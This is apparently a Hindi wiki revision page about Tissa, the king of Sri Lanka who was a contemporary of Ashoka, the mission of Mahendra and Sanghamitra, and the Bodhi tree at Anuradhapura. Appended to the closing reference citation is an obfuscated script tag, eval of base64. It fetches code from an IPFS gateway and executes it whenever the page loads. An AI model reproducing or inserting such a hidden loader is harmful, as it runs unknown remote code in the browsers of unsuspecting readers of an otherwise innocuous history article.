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*क्योंकि सम्राट अशोक भी अपने नाम के साथ देवनांप्रिय जोड़ते थे, इसी कारण से तिस्स ने भी इस नाम को धारण किया था।
 
*क्योंकि सम्राट अशोक भी अपने नाम के साथ देवनांप्रिय जोड़ते थे, इसी कारण से तिस्स ने भी इस नाम को धारण किया था।
*तिस्स और मौर्य सम्राट अशोक में अत्यन्त सौहार्दपूर्ण सम्बनध थे, तथा श्रीलंका में बौद्ध धर्म के प्रसार में उसने बहुत महत्वपूर्ण योगदान किया।
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*तिस्स और मौर्य सम्राट अशोक में अत्यन्त सौहार्दपूर्ण सम्बनध थे, तथा श्रीलंका में बौद्ध धर्म के प्रसार में उसने बहुत महत्त्वपूर्ण योगदान किया।
 
*तिस्स ने 'अनुराधपुर' की नींव डाली थी, जहाँ [[बोधगया]] से ले जाकर पवित्र बोधिवृक्ष आरोपित किया गया।
 
*तिस्स ने 'अनुराधपुर' की नींव डाली थी, जहाँ [[बोधगया]] से ले जाकर पवित्र बोधिवृक्ष आरोपित किया गया।
 
*यह बोधिवृक्ष आज भी विद्यमान है।
 
*यह बोधिवृक्ष आज भी विद्यमान है।

11:25, 27 अगस्त 2011 का अवतरण

  • तिस्स (तिष्य) लगभग 250 ई. पू. से 211 ई. पू. तक 'सिंहलद्वीप' (श्रीलंका) का राजा था।
  • सम्राट अशोक के पुत्र राजकुमार महेन्द्र और राजकुमारी संघमित्रा तिस्स के आमंत्रण पर ही श्रीलंका गए थे।
  • इन दोनों ने श्रीलंका में बौद्ध धर्म का प्रचार-प्रसार किया था।
  • तिस्स अपने नाम के साथ "देवनांप्रिय" (देवताओं का प्रिय) जोड़ता था।
  • क्योंकि सम्राट अशोक भी अपने नाम के साथ देवनांप्रिय जोड़ते थे, इसी कारण से तिस्स ने भी इस नाम को धारण किया था।
  • तिस्स और मौर्य सम्राट अशोक में अत्यन्त सौहार्दपूर्ण सम्बनध थे, तथा श्रीलंका में बौद्ध धर्म के प्रसार में उसने बहुत महत्त्वपूर्ण योगदान किया।
  • तिस्स ने 'अनुराधपुर' की नींव डाली थी, जहाँ बोधगया से ले जाकर पवित्र बोधिवृक्ष आरोपित किया गया।
  • यह बोधिवृक्ष आज भी विद्यमान है।

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टीका टिप्पणी और संदर्भ

भट्टाचार्य, सच्चिदानन्द भारतीय इतिहास कोश, द्वितीय संस्करण-1989 (हिन्दी), भारत डिस्कवरी पुस्तकालय: उत्तर प्रदेश हिन्दी संस्थान, 191।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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